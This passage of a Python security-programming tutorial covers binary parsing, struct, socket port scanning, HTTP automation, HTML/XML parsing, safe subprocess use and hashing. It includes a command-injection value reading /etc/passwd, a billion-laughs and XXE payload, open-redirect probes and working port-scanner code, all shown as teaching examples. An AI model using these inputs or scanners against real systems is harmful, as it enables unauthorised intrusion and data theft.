Opening a file in text mode ("r") decodes bytes using a platform-dependent default encoding and translates line endings, both of which corrupt binary data and can raise exceptions on arbitrary bytes. Opening in binary mode ("rb") returns bytes exactly as stored. For anything that is not known-good text, always use binary mode.

The second consideration is memory. A 4GB memory dump will not fit comfortably in RAM, so read in chunks rather than calling .read() with no argument. For random access across a large file, memory mapping with mmap lets the operating system page content in on demand, giving you a bytes-like object you can slice and search without loading the whole file.

Practical binary tasks recur constantly: identifying a file type by its magic bytes (the first few bytes, which are more reliable than the extension), extracting printable strings from a binary, computing file hashes for indicator matching, and seeking to a known offset to read a header field.

Examples

# Binary mode is mandatory for non-text data
with open("sample.bin", "rb") as f:        # 'rb' -> returns bytes
    header = f.read(16)                    # first 16 bytes
    f.seek(0x40)                           # absolute offset
    field = f.read(4)                      # 4 bytes at that offset

print(header.hex(" "))                     # readable hex dump line

# Hash a large file without loading it into memory
import hashlib

def file_digest(path: str, algo: str = "sha256", chunk: int = 1 << 20) -> str:
    h = hashlib.new(algo)
    with open(path, "rb") as f:
        while block := f.read(chunk):      # walrus: read 1MB at a time
            h.update(block)                # incremental hashing
    return h.hexdigest()

# Python 3.11+ has a built-in helper that does the same efficiently:
# with open(path, "rb") as f: digest = hashlib.file_digest(f, "sha256").hexdigest()

# File type identification by magic bytes -- extensions lie, headers rarely do
MAGIC = {
    b"\x7fELF":             "ELF executable (Linux)",
    b"MZ":                  "PE/DOS executable (Windows)",
    b"\x89PNG\r\n\x1a\n":   "PNG image",
    b"%PDF":                "PDF document",
    b"PK\x03\x04":          "ZIP archive (also docx, jar, apk)",
    b"\x1f\x8b":            "gzip",
    b"\xd0\xcf\x11\xe0":    "MS Office legacy (OLE2)",
}

def identify(path: str) -> str:
    with open(path, "rb") as f:
        head = f.read(16)
    for magic, name in MAGIC.items():
        if head.startswith(magic):
            return name
    return f"unknown (starts with {head[:8].hex(' ')})"

# A file named invoice.pdf whose magic says "MZ" is an executable, not a PDF.

# Extract printable strings, equivalent to the `strings` utility
import re

def extract_strings(path: str, min_len: int = 4) -> list[str]:
    with open(path, "rb") as f:
        data = f.read()
    # [ -~] is the printable ASCII range: space (0x20) through tilde (0x7e)
    ascii_strings = [m.decode() for m in re.findall(rb"[ -~]{%d,}" % min_len, data)]
    # UTF-16LE strings are common in Windows binaries: ASCII char + null byte
    wide = [m.decode("utf-16-le", errors="ignore")
            for m in re.findall(rb"(?:[ -~]\x00){%d,}" % min_len, data)]
    return ascii_strings + wide

for s in extract_strings("sample.bin"):
    if "http" in s or "\\" in s:          # URLs and paths are high-value
        print(s)

# Memory-mapped access for large files: search without loading it all
import mmap

with open("memory.dmp", "rb") as f:
    with mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ) as mm:
        offset = mm.find(b"BEGIN RSA PRIVATE KEY")   # OS pages data in as needed
        if offset != -1:
            print(f"found at offset 0x{offset:x}")
            print(mm[offset:offset + 64])

# A simple hex dump, useful when inspecting unknown formats
def hexdump(data: bytes, width: int = 16) -> None:
    for off in range(0, len(data), width):
        chunk = data[off:off + width]
        hexpart = " ".join(f"{b:02x}" for b in chunk)
        # Render non-printable bytes as '.' in the ASCII column
        ascii_part = "".join(chr(b) if 32 <= b < 127 else "." for b in chunk)
        print(f"{off:08x}  {hexpart:<{width * 3}} |{ascii_part}|")

hexdump(b"\x7fELF\x02\x01\x01\x00hello world")
# 00000000  7f 45 4c 46 02 01 01 00 68 65 6c 6c 6f ...  |.ELF....hello...|

Key Takeaways

• Always open non-text files in binary mode; text mode decodes and rewrites line endings, corrupting binary data.
• Read large files in chunks or memory-map them rather than loading everything into RAM.
• Magic bytes identify file types far more reliably than extensions.
• Incremental hashing with update() handles arbitrarily large files in constant memory.
• Extracting ASCII and UTF-16LE strings is a fast first look at an unknown binary.
• mmap enables searching and slicing huge files with the operating system managing paging.

🧪 Practice

1. Write a function that identifies file types by magic bytes across a directory and flags mismatches with the file extension.
2. Implement a strings-equivalent that reports the offset of each extracted string.
3. Compute SHA-256 for every file in a tree and find duplicates by digest.
4. Interview-style: "You have a 32GB memory image and need to find a specific byte pattern. How do you approach it in Python?" Hint: consider why reading it into a variable fails, and what mechanism lets you treat the file as a sliceable object while the operating system handles paging.

struct and Binary Packing/Unpacking

Theory

Binary formats and network protocols define exact byte layouts: this field is a 4-byte unsigned integer, that one is a 2-byte big-endian port number. The struct module converts between those byte layouts and Python values, which is what you need for parsing file headers, protocol messages, and exploit payloads.

Two concepts control the conversion. Endianness is the byte order of multi-byte integers. Little-endian stores the least significant byte first (x86, ARM in practice) while big-endian stores the most significant first. Network protocols standardized on big-endian, which is why it is called network byte order. Getting this wrong produces plausible-looking but completely wrong values, such as reading port 443 as 47873.

Alignment and padding come from C struct layout rules: compilers insert padding so fields land on natural boundaries. struct replicates this by default with the @ prefix, which is usually not what you want when parsing a file format or wire protocol. Using an explicit byte-order prefix (<, >, !, =) disables padding and gives you exact, predictable layout. The practical rule is to always specify a prefix.

The format string is a sequence of type codes: B unsigned byte, H unsigned 2-byte, I unsigned 4-byte, Q unsigned 8-byte, lowercase for signed, s for fixed-length bytes. struct.calcsize() tells you how many bytes a format consumes, which is essential when stepping through a file.

Examples

import struct

# Endianness: the same four bytes, two very different values
data = b"\x00\x00\x01\xbb"
print(struct.unpack(">I", data)[0])   # 443        big-endian (network order)
print(struct.unpack("<I", data)[0])   # 3137339392 little-endian
#                    │
#                    └ ALWAYS specify: '<' little, '>' big, '!' network (= big)

  Format prefixes and type codes

  Prefix   Byte order      Size/alignment
  ──────────────────────────────────────────────────
  @        native          native, WITH padding   (default; avoid)
  =        native          standard, no padding
  <        little-endian   standard, no padding
  >        big-endian      standard, no padding
  !        network (big)   standard, no padding   (clearest for protocols)

  Code   C type              Bytes
  ───────────────────────────────────
  B / b  unsigned/signed char   1
  H / h  unsigned/signed short  2
  I / i  unsigned/signed int    4
  Q / q  unsigned/signed long   8
  f / d  float / double         4 / 8
  Ns     N bytes (fixed)        N
  x      pad byte               1

# Parsing a real header: the ELF identification block
import struct

with open("/bin/ls", "rb") as f:
    ident = f.read(16)

magic, bits, endian, version = struct.unpack("<4sBBB9x", ident)
#                               │   │ │ │ │└ 9 pad bytes, skipped
#                               │   │ │ │ └ EI_VERSION
#                               │   │ │ └ EI_DATA: 1=little, 2=big endian
#                               │   │ └ EI_CLASS: 1=32-bit, 2=64-bit
#                               │   └ 4-byte magic: b'\x7fELF'
#                               └ explicit prefix: no padding surprises
print(magic, "64-bit" if bits == 2 else "32-bit",
      "little-endian" if endian == 1 else "big-endian")

# Building and parsing a protocol message
import struct

# Wire format: [1B version][1B type][2B length][payload]
def build_message(version: int, msg_type: int, payload: bytes) -> bytes:
    header = struct.pack("!BBH", version, msg_type, len(payload))
    #                     │ │ │ └ 2-byte length, big-endian
    #                     │ │ └ type
    #                     │ └ version
    #                     └ network byte order, no padding
    return header + payload


def parse_message(data: bytes) -> tuple[int, int, bytes]:
    HEADER = struct.calcsize("!BBH")             # 4 -- never hardcode this
    if len(data) < HEADER:
        raise ValueError("truncated header")
    version, msg_type, length = struct.unpack("!BBH", data[:HEADER])
    body = data[HEADER:HEADER + length]
    if len(body) != length:                      # VALIDATE the declared length
        raise ValueError(f"declared {length} bytes, got {len(body)}")
    return version, msg_type, body


msg = build_message(1, 7, b"hello")
print(msg)                        # b'\x01\x07\x00\x05hello'
print(parse_message(msg))         # (1, 7, b'hello')

# Padding: why you should always use an explicit prefix
import struct
print(struct.calcsize("@BI"))     # 8  -- native alignment pads B to 4 bytes
print(struct.calcsize("<BI"))     # 5  -- exact layout, no padding
# Parsing a file format with '@' silently reads the wrong offsets.

# Convenience helpers for the common cases
import struct

def p32(value: int) -> bytes:                 # pack a 32-bit little-endian int
    return struct.pack("<I", value)

def u32(data: bytes) -> int:                  # unpack it back
    return struct.unpack("<I", data)[0]

print(p32(0xdeadbeef))            # b'\xef\xbe\xad\xde'  (reversed: LE)
print(hex(u32(b"\xef\xbe\xad\xde")))          # 0xdeadbeef

Key Takeaways

• Always specify a byte-order prefix; the default @ adds native padding and produces wrong offsets.
• Network protocols use big-endian (! or >); x86 and ARM memory is little-endian (<).
• struct.calcsize() gives the exact byte count for a format, which avoids hardcoded offsets.
• Validate declared lengths against actual data before slicing, or a malformed message silently truncates.
• Magic-byte and header parsing with struct is the foundation of file format analysis.
• Small p32/u32 helpers are worth defining once; packing and unpacking fixed-width integers comes up constantly.

🧪 Practice

1. Parse the first 16 bytes of an ELF binary and report its class, endianness, and ABI.
2. Write pack and unpack functions for a custom header containing a 2-byte ID, 4-byte timestamp, and 8-byte counter.
3. Demonstrate that struct.calcsize("@BI") and struct.calcsize("<BI") differ, and explain the consequence for file parsing.
4. Interview-style: "You are parsing a length-prefixed network protocol. What must you validate before allocating or slicing?" Hint: think about what happens when the declared length is far larger than the data received, or larger than available memory.

Sockets and Network Client Scripting

Theory

A socket is the programming interface to a network connection. Nearly every network tool you will write or use sits on top of it, so understanding the raw interface makes higher-level libraries and unusual protocols tractable.

Two socket types matter. TCP (SOCK_STREAM) is connection-oriented, ordered, and reliable: you connect(), then send() and recv(). UDP (SOCK_DGRAM) is connectionless and unreliable: you sendto() and recvfrom() individual datagrams with no handshake, which is why UDP scanning is slower and less definitive than TCP scanning.

The detail that trips up every beginner is that TCP is a stream, not a message protocol. One send() does not correspond to one recv(). Data can arrive split across multiple reads or coalesced into one, so any protocol you implement must define its own message boundaries, through a length prefix or a delimiter, and you must loop until you have a complete message.

Two habits prevent most real bugs. Always set a timeout, because the default is to block forever and a single unresponsive host will hang your entire tool. And always use context managers (with) so sockets are closed on exceptions, since leaked descriptors eventually exhaust the process limit.

connect_ex() is the port-scanning primitive: it returns an error code instead of raising, which makes checking many ports straightforward.

Examples

import socket

# TCP connect scan, the simplest useful network tool
def check_port(host: str, port: int, timeout: float = 1.0) -> bool:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(timeout)                 # ALWAYS: default blocks forever
        return s.connect_ex((host, port)) == 0   # 0 = connected, else errno

for port in (22, 80, 443, 3306):
    state = "open" if check_port("scanme.nmap.org", port) else "closed/filtered"
    print(f"{port:>5}  {state}")

# Banner grabbing: identify a service from what it announces
import socket

def grab_banner(host: str, port: int, timeout: float = 2.0) -> str:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(timeout)
        s.connect((host, port))
        try:
            return s.recv(1024).decode("utf-8", errors="replace").strip()
        except socket.timeout:
            # Many services say nothing until spoken to first.
            s.sendall(b"HEAD / HTTP/1.0\r\n\r\n")
            return s.recv(1024).decode("utf-8", errors="replace").strip()

# TCP is a STREAM: you must loop to receive a complete message
import socket

def recv_exactly(sock: socket.socket, n: int) -> bytes:
    """recv() may return fewer bytes than requested. Loop until complete."""
    chunks = []
    remaining = n
    while remaining:
        chunk = sock.recv(remaining)
        if not chunk:                          # empty bytes = peer closed
            raise ConnectionError(f"closed with {remaining} bytes outstanding")
        chunks.append(chunk)
        remaining -= len(chunk)
    return b"".join(chunks)


def recv_until(sock: socket.socket, delim: bytes = b"\n") -> bytes:
    """For delimiter-framed protocols (SMTP, HTTP headers, many CTF services)."""
    buf = b""
    while delim not in buf:
        chunk = sock.recv(4096)
        if not chunk:
            break
        buf += chunk
        if len(buf) > 1 << 20:                 # bound it: do not let a peer
            raise ValueError("response too large")   # exhaust your memory
    return buf

# UDP: connectionless, so "no reply" is ambiguous
import socket

def udp_probe(host: str, port: int, payload: bytes = b"\x00", timeout: float = 2.0):
    with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
        s.settimeout(timeout)
        s.sendto(payload, (host, port))
        try:
            data, addr = s.recvfrom(4096)
            return f"open (replied {len(data)} bytes)"
        except socket.timeout:
            # No response means open OR filtered -- UDP cannot distinguish.
            return "open|filtered"
        except ConnectionRefusedError:
            return "closed (ICMP port unreachable)"

# Concurrency: scanning serially is unusably slow
from concurrent.futures import ThreadPoolExecutor
import socket

def scan_host(host: str, ports: range, workers: int = 100) -> list[int]:
    def probe(p):
        with socket.socket() as s:
            s.settimeout(0.5)
            return p if s.connect_ex((host, p)) == 0 else None
    # Port scanning is I/O-bound, so threads work well despite the GIL.
    with ThreadPoolExecutor(max_workers=workers) as pool:
        return sorted(p for p in pool.map(probe, ports) if p)

print(scan_host("127.0.0.1", range(1, 1025)))

Key Takeaways

• TCP is a byte stream, so one send() does not equal one recv(); always loop until a message is complete.
• Set a timeout on every socket; the default blocks indefinitely and will hang your tool.
• Use with so sockets close on exceptions and file descriptors are not leaked.
• connect_ex() returns an error code rather than raising, which makes it the natural port-scan primitive.
• UDP cannot distinguish open from filtered when there is no reply, which makes UDP scanning slow and ambiguous.
• Bound how much you will buffer from a peer, or a hostile server can exhaust your memory.
• Port scanning is I/O-bound, so thread pools give large speedups despite the GIL.

🧪 Practice

1. Write a threaded TCP port scanner for the first 1024 ports of a host you own, reporting open ports.
2. Implement recv_until and use it to read a complete SMTP or HTTP response.
3. Explain why a UDP probe that receives no response cannot be reported as "open".
4. Interview-style: "Your network tool works in testing and hangs in production. What do you check first?" Hint: consider what the socket does by default when a host silently drops packets, and what happens to a recv loop when the peer never sends a terminator.

HTTP Automation with requests

Theory

Most security-relevant services speak HTTP, so automating HTTP is the highest-leverage skill in this section. The requests library handles connection management, redirects, cookies, and encoding, letting you focus on what you are testing.

The central object for anything beyond a single call is the Session. It persists cookies across requests (so you stay authenticated), reuses TCP connections (much faster for many requests), and holds default headers. Any tool that logs in and then does work should use one.

Three behaviours need deliberate control in security work. Redirects are followed automatically, which hides the fact that a 302 occurred — exactly what you need to see when testing open redirects or SSRF filters, so pass allow_redirects=False and inspect the chain. TLS verification is on by default and should stay on; disabling it with verify=False is appropriate only against a deliberate interception proxy in a lab, and even then you should understand that it removes all transport authentication. Timeouts are not set by default, which means a single slow host hangs your tool indefinitely; always pass timeout.

For testing, routing traffic through an intercepting proxy such as Burp or mitmproxy via the proxies parameter is the standard workflow: your script drives the requests, the proxy gives you the history and the ability to replay.

Examples

import requests

# Always set a timeout: (connect_timeout, read_timeout)
r = requests.get("https://example.com", timeout=(3.05, 10))
print(r.status_code, len(r.content), r.headers.get("server"))
print(r.headers.get("content-security-policy", "<no CSP>"))

# Sessions: persist cookies and reuse connections
import requests

with requests.Session() as s:
    s.headers.update({"User-Agent": "security-review/1.0"})   # applied to all
    s.timeout = 10

    login = s.post(
        "https://target.example/login",
        data={"username": "test", "password": "test"},
        timeout=10,
        allow_redirects=False,          # see the 302 rather than following it
    )
    print(login.status_code, login.headers.get("location"))
    print(s.cookies.get_dict())         # session cookie now held by the Session

    # Subsequent requests automatically carry the authenticated cookie
    profile = s.get("https://target.example/account", timeout=10)
    print(profile.status_code)

# Inspecting the redirect chain -- essential for open redirect and SSRF testing
import requests

r = requests.get("https://target.example/go?url=https://evil.example",
                 allow_redirects=True, timeout=10)
for hop in r.history:
    print(f"{hop.status_code} {hop.url} -> {hop.headers.get('location')}")
print(f"final: {r.status_code} {r.url}")

# With allow_redirects=False you see the raw response and can decide yourself
r = requests.get("https://target.example/go?url=https://evil.example",
                 allow_redirects=False, timeout=10)
print(r.status_code, r.headers.get("location"))

# Checking security headers across a list of hosts
import requests

EXPECTED = {
    "strict-transport-security": "HSTS missing",
    "content-security-policy":   "CSP missing",
    "x-content-type-options":    "MIME sniffing not disabled",
    "x-frame-options":           "clickjacking protection missing (or use CSP)",
    "referrer-policy":           "referrer policy not set",
}

def audit_headers(url: str) -> list[str]:
    try:
        r = requests.get(url, timeout=10)
    except requests.RequestException as e:
        return [f"request failed: {e}"]
    present = {k.lower() for k in r.headers}
    return [msg for header, msg in EXPECTED.items() if header not in present]

for issue in audit_headers("https://example.com"):
    print(" -", issue)

# Routing through an intercepting proxy for manual review
import requests

PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

r = requests.get(
    "https://target.example/api/users",
    proxies=PROXIES,
    verify=False,     # the proxy presents its own CA; ONLY acceptable in a lab
    timeout=10,
)
# Suppress the resulting noise if you have deliberately disabled verification:
# import urllib3; urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Controlled, authorized enumeration with rate limiting and error handling
import time
import requests

def check_paths(base: str, paths: list[str], delay: float = 0.3) -> dict[str, int]:
    found = {}
    with requests.Session() as s:
        for path in paths:
            try:
                r = s.get(f"{base}{path}", timeout=5, allow_redirects=False)
            except requests.RequestException:
                continue
            if r.status_code not in (404,):
                found[path] = r.status_code
            time.sleep(delay)      # be deliberate about load on the target
    return found

Key Takeaways

• Use a Session for anything multi-request: it persists cookies and reuses connections.
• requests has no default timeout; always pass one or a slow host hangs your tool.
• Set allow_redirects=False when you need to observe the redirect itself, as in open redirect and SSRF testing.
• Keep verify=True; disabling TLS verification removes transport authentication and is a lab-only measure.
• r.history exposes the full redirect chain after an automatic follow.
• Routing through an intercepting proxy combines scripted requests with manual inspection and replay.
• Rate-limit your own tooling; hammering a target is both noisy and potentially damaging.

🧪 Practice

1. Write a script that reports which of a list of sites are missing HSTS and CSP headers.
2. Use a Session to authenticate against a deliberately vulnerable local application and retrieve a protected page.
3. Demonstrate the difference in output between allow_redirects=True and False against a URL that redirects.
4. Interview-style: "Why is verify=False dangerous, and when is it acceptable?" Hint: consider what certificate validation actually protects against, and why an intercepting proxy in a controlled lab is a different situation from a script running against production.

HTML and Data Parsing Libraries

Theory

Having fetched a response, you need structure out of it. The guiding principle mirrors the regex discussion earlier: use a real parser, because HTML and JSON are not regular languages and regex approximations of them break in ways attackers can exploit.

For HTML, BeautifulSoup provides a forgiving interface over real-world markup, which is routinely malformed. You select elements by tag, attribute, or CSS selector and extract text or attributes. For performance on large documents, lxml is the fastest backend and supports XPath.

For JSON, the standard library's json module is all you need. The important security habit is to handle malformed input explicitly rather than letting an exception escape, and to never use eval() on JSON-looking data, which is arbitrary code execution.

For XML, there is a specific and serious danger. Python's built-in XML parsers have historically been vulnerable to entity expansion attacks (the "billion laughs" denial of service) and, depending on the parser and configuration, external entity resolution (XXE) that can read local files or make outbound requests. The rule is to use defusedxml for any XML you did not produce yourself.

In security tooling specifically, the common tasks are extracting forms and their hidden fields (CSRF tokens), harvesting links for crawling, pulling comments that leak internal information, and parsing API responses.

Examples

# HTML parsing: extract forms and their inputs, including hidden fields
from bs4 import BeautifulSoup
import requests

r = requests.get("https://example.com/login", timeout=10)
soup = BeautifulSoup(r.text, "html.parser")     # or "lxml" for speed

for form in soup.find_all("form"):
    print(f"action={form.get('action')} method={form.get('method', 'GET')}")
    for field in form.find_all(["input", "select", "textarea"]):
        print(f"  {field.get('type', 'text'):<10} "
              f"name={field.get('name')!r:<20} value={field.get('value')!r}")
# Hidden fields often carry CSRF tokens that must be replayed in your request.

# Common extraction tasks
from bs4 import BeautifulSoup
from urllib.parse import urljoin

soup = BeautifulSoup(html, "html.parser")

links = {urljoin(base_url, a["href"])            # resolve relative URLs
         for a in soup.find_all("a", href=True)}

scripts = [s.get("src") for s in soup.find_all("script", src=True)]

# HTML comments frequently leak paths, credentials, and internal hostnames
from bs4 import Comment
comments = soup.find_all(string=lambda t: isinstance(t, Comment))
for c in comments:
    print("comment:", c.strip()[:120])

# CSS selectors work too, and are often more concise
tokens = [i["value"] for i in soup.select('input[name="csrf_token"]')]

# JSON: handle malformed input explicitly, never eval()
import json

def parse_json_safely(raw: str):
    try:
        return json.loads(raw)
    except json.JSONDecodeError as e:
        print(f"invalid JSON at line {e.lineno} col {e.colno}: {e.msg}")
        return None

# NEVER do this. It is arbitrary code execution on attacker-controlled input.
# data = eval(response.text)

# Nested access without KeyError cascades
data = json.loads('{"user": {"roles": ["admin"]}}')
roles = data.get("user", {}).get("roles", [])
print("admin" in roles)

# XML: use defusedxml for anything you did not generate
# pip install defusedxml
from defusedxml import ElementTree as ET     # NOT xml.etree.ElementTree

tree = ET.fromstring(xml_text)               # blocks XXE and entity expansion
for item in tree.findall(".//finding"):
    print(item.get("severity"), item.findtext("title"))

  Why defusedxml matters: the billion laughs attack

  <!DOCTYPE lolz [
    <!ENTITY lol  "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    ...
  ]>
  <lolz>&lol9;</lolz>

  Nine levels of tenfold expansion = 10^9 entities from a few hundred bytes.
  The parser exhausts memory and the process dies. Separately, an external
  entity (SYSTEM "file:///etc/passwd") can read local files -- that is XXE.
  defusedxml disables both classes by default.

# Parsing scan output: a common glue task
import csv
from collections import Counter

with open("nmap-results.csv", newline="") as f:
    rows = list(csv.DictReader(f))      # DictReader handles quoting correctly

by_service = Counter(r["service"] for r in rows if r["state"] == "open")
for service, count in by_service.most_common(10):
    print(f"{count:>5}  {service}")
# Note: csv handles embedded commas and quotes; str.split(',') does not.

Key Takeaways

• Use real parsers for HTML, JSON, XML, and CSV; regex and split() approximations break on valid edge cases.
• BeautifulSoup tolerates malformed markup; lxml as a backend is substantially faster on large documents.
• Extract hidden form fields when automating authenticated flows, since CSRF tokens must be replayed.
• Never use eval() on data; json.loads() with explicit error handling is the correct approach.
• Use defusedxml for untrusted XML to block entity expansion and external entity attacks.
• HTML comments and script sources are a reliable source of information leakage during assessments.

🧪 Practice

1. Write a script that extracts every form on a page along with its method, action, and hidden field names.
2. Parse a JSON API response and handle both malformed JSON and missing keys without raising.
3. Demonstrate that csv.DictReader correctly parses a row containing a quoted comma where split(",") fails.
4. Interview-style: "Why should you never parse untrusted XML with Python's built-in parser?" Hint: name the two distinct attack classes, one that exhausts resources and one that reaches out to files or network locations, and say which library addresses both.

subprocess and Safe Command Execution

Theory

Security tooling constantly wraps other programs: nmap, openssl, tcpdump, sqlmap. The subprocess module is how Python runs them, and it is also the most common place a Python security tool introduces a command injection vulnerability in itself.

The rule established in the shell injection topic applies identically here. Pass an argument list, never a string, and never set shell=True with interpolated data. With a list, Python calls execve() directly and each element becomes one argument; there is no shell, so there is no parsing step for metacharacters to influence. With shell=True, the string is handed to /bin/sh and every shell metacharacter is live.

subprocess.run() is the modern interface. The arguments that matter: capture_output=True collects stdout and stderr, text=True decodes them to str (otherwise you get bytes), check=True raises on a non-zero exit status, and timeout bounds how long you will wait — essential when wrapping network tools that may hang.

For long-running tools where you want output as it is produced, use Popen and iterate over the stream rather than waiting for completion.

Two further habits: pass an absolute path or a validated executable name so that a manipulated PATH cannot substitute a different binary, and avoid passing untrusted data in positions where it could be interpreted as a flag (use -- where the program supports it).

Examples

import subprocess

# VULNERABLE: string + shell=True with interpolated input
host = "8.8.8.8; cat /etc/passwd"
subprocess.run(f"ping -c1 {host}", shell=True)     # runs TWO commands

# SAFE: argument list, no shell
result = subprocess.run(
    ["ping", "-c", "1", "--", host],   # '--' stops option parsing
    capture_output=True,               # collect stdout and stderr
    text=True,                         # decode to str, not bytes
    timeout=10,                        # never wait forever
    check=False,                       # inspect returncode ourselves
)
print(result.returncode, result.stdout[:200])

  The structural difference

  shell=True:   subprocess -> /bin/sh -> PARSES the string -> commands
                                          ^^^^^^^^^^^^^^^^^
                                          attacker-influenced parsing

  list form:    subprocess -> execve("ping", ["ping","-c","1","--", host])
                              no parsing stage exists at all

# Wrapping a scanner with proper error handling
import shutil
import subprocess

def run_nmap(target: str, ports: str = "1-1000") -> str:
    nmap = shutil.which("nmap")            # resolve once, explicitly
    if nmap is None:
        raise RuntimeError("nmap not found in PATH")

    try:
        proc = subprocess.run(
            [nmap, "-oX", "-", "-p", ports, "--", target],
            capture_output=True, text=True, timeout=300, check=True,
        )
    except subprocess.TimeoutExpired:
        raise RuntimeError(f"nmap timed out scanning {target}")
    except subprocess.CalledProcessError as e:
        raise RuntimeError(f"nmap failed ({e.returncode}): {e.stderr.strip()}")
    return proc.stdout

# Streaming output from a long-running tool
import subprocess

with subprocess.Popen(
    ["tcpdump", "-l", "-n", "-i", "eth0", "port", "53"],
    stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True, bufsize=1
) as proc:
    try:
        for line in proc.stdout:          # process lines as they arrive
            if "NXDomain" in line:
                print("possible DGA lookup:", line.strip())
    except KeyboardInterrupt:
        proc.terminate()                  # SIGTERM, allowing cleanup
        proc.wait(timeout=5)

# Validate before you execute, even with the list form
import ipaddress
import subprocess

def ping_host(target: str) -> bool:
    # Argument-list form already prevents shell injection, but validating
    # keeps the tool predictable and rejects nonsense early.
    try:
        ipaddress.ip_address(target)
    except ValueError:
        raise ValueError(f"not a valid IP address: {target!r}")

    return subprocess.run(
        ["ping", "-c", "1", "-W", "2", "--", target],
        capture_output=True, timeout=5
    ).returncode == 0

Pattern	Safe?	Note
run(["cmd", arg])	Yes	No shell, no parsing
run(f"cmd {arg}", shell=True)	No	Classic command injection
run(["sh", "-c", arg])	No	You invoked a shell yourself
os.system(f"cmd {arg}")	No	Always uses a shell
run(["cmd", "--", arg])	Yes	Also blocks argument injection

Key Takeaways

• Pass an argument list and never use shell=True with interpolated data; the list form has no parsing stage to exploit.
• subprocess.run(["sh", "-c", data]) is just as vulnerable as shell=True.
• Always set timeout; wrapped network tools hang and will hang your tool with them.
• Use check=True or inspect returncode explicitly rather than assuming success.
• Resolve executables with shutil.which() or an absolute path so a manipulated PATH cannot substitute a binary.
• Use -- to prevent attacker-controlled values from being interpreted as command-line flags.
• Popen with line iteration streams output from long-running tools instead of waiting for completion.

🧪 Practice

1. Write a safe wrapper around a command-line tool that validates its input, sets a timeout, and handles both failure and timeout explicitly.
2. Demonstrate command injection against a deliberately vulnerable shell=True script of your own, then fix it.
3. Explain why shutil.which() plus an absolute path is safer than relying on the inherited PATH.
4. Interview-style: "A code review finds subprocess.run(cmd, shell=True) where cmd is built from a config file. Is that a vulnerability?" Hint: the answer depends on who can write the config file and whether it crosses a trust boundary; discuss how you would determine that rather than assuming either way.

hashlib and cryptography Library Basics

Theory

Chapter 3 covers cryptography properly; this topic is about calling it correctly from Python, because the failure mode in practice is rarely a broken algorithm and almost always incorrect use of a correct one.

hashlib provides cryptographic hashes. The security-relevant distinction is between fast hashes (SHA-256, SHA-3) designed for integrity and speed, and slow password hashes (Argon2, scrypt, bcrypt) deliberately designed to be expensive. Using SHA-256 for passwords is a serious vulnerability, because an attacker with the database can try billions of candidates per second. Use hashlib.scrypt or the argon2-cffi package instead.

hmac provides keyed integrity. The critical function is hmac.compare_digest(), which compares in constant time. A normal == comparison returns as soon as it finds a differing byte, and that timing difference leaks how much of a guess was correct, allowing an attacker to recover a token byte by byte. Use compare_digest for every comparison of secrets, tokens, signatures, and MACs.

For randomness, random is a predictable pseudo-random generator and must never be used for anything security-relevant. secrets is the correct module for tokens, passwords, and salts.

The cryptography package is the standard choice for real encryption. Its high-level Fernet recipe provides authenticated encryption with sensible defaults; the low-level hazmat layer is powerful and easy to misuse, which is why it is named that way.

Examples

import hashlib

# Fast hashes: integrity, fingerprinting, indicator matching
print(hashlib.sha256(b"data").hexdigest())
print(hashlib.sha3_256(b"data").hexdigest())
# MD5 and SHA-1 are broken for collision resistance. Acceptable only for
# non-security deduplication or matching legacy indicator feeds.

# Password hashing: slow BY DESIGN
import hashlib
import secrets

# WRONG: fast hash, attacker tries billions of guesses per second
bad = hashlib.sha256(b"hunter2").hexdigest()

# BETTER: scrypt from the standard library, with a per-password salt
salt = secrets.token_bytes(16)
derived = hashlib.scrypt(
    b"hunter2", salt=salt,
    n=2**14,      # CPU/memory cost -- raise as hardware improves
    r=8, p=1,     # block size and parallelism
    dklen=32,
)

# BEST in 2026: Argon2id via argon2-cffi, which handles parameters,
# salting, encoding, and verification for you.
#   from argon2 import PasswordHasher
#   ph = PasswordHasher()
#   stored = ph.hash("hunter2")      # salt and parameters embedded
#   ph.verify(stored, candidate)     # raises on mismatch

# Timing-safe comparison: this matters more than people expect
import hmac
import hashlib

def sign(message: bytes, key: bytes) -> str:
    return hmac.new(key, message, hashlib.sha256).hexdigest()

def verify(message: bytes, key: bytes, provided: str) -> bool:
    expected = sign(message, key)
    # WRONG: `expected == provided` returns early on the first differing
    # byte, leaking via timing how many leading bytes were correct.
    return hmac.compare_digest(expected, provided)   # constant time

# Randomness: the difference is not subtle
import random
import secrets

random.seed(42)
print(random.randint(0, 999999))      # reproducible -> predictable -> unsafe

print(secrets.token_hex(32))          # 64 hex chars, cryptographically secure
print(secrets.token_urlsafe(32))      # URL-safe session token
print(secrets.token_bytes(16))        # raw bytes for a salt or IV
print(secrets.choice(["a", "b", "c"]))   # secure selection

# Never use `random` for tokens, passwords, salts, IVs, or nonces.

# Authenticated encryption with sensible defaults
from cryptography.fernet import Fernet

key = Fernet.generate_key()           # store this securely; losing it loses data
f = Fernet(key)

token = f.encrypt(b"sensitive data")  # AES-128-CBC + HMAC-SHA256, versioned
print(f.decrypt(token))               # raises InvalidToken if tampered with

# Fernet authenticates: modifying a single byte of the token causes
# decryption to FAIL rather than returning garbage. That is the point.

# Verifying a downloaded artifact against a published digest
import hashlib

def verify_download(path: str, expected_sha256: str) -> bool:
    h = hashlib.sha256()
    with open(path, "rb") as fh:
        while block := fh.read(1 << 20):
            h.update(block)
    # compare_digest here too: habit matters more than this specific case
    import hmac
    return hmac.compare_digest(h.hexdigest(), expected_sha256.lower())

Key Takeaways

• Fast hashes (SHA-256) are for integrity; password storage requires a deliberately slow function such as Argon2id or scrypt.
• hmac.compare_digest() compares in constant time and must be used for all secret comparisons.
• secrets is the only correct source of randomness for tokens, salts, and keys; random is predictable.
• MD5 and SHA-1 are broken for collision resistance and must not be used for signatures or integrity against an adversary.
• Fernet gives authenticated encryption with safe defaults; prefer it over assembling primitives yourself.
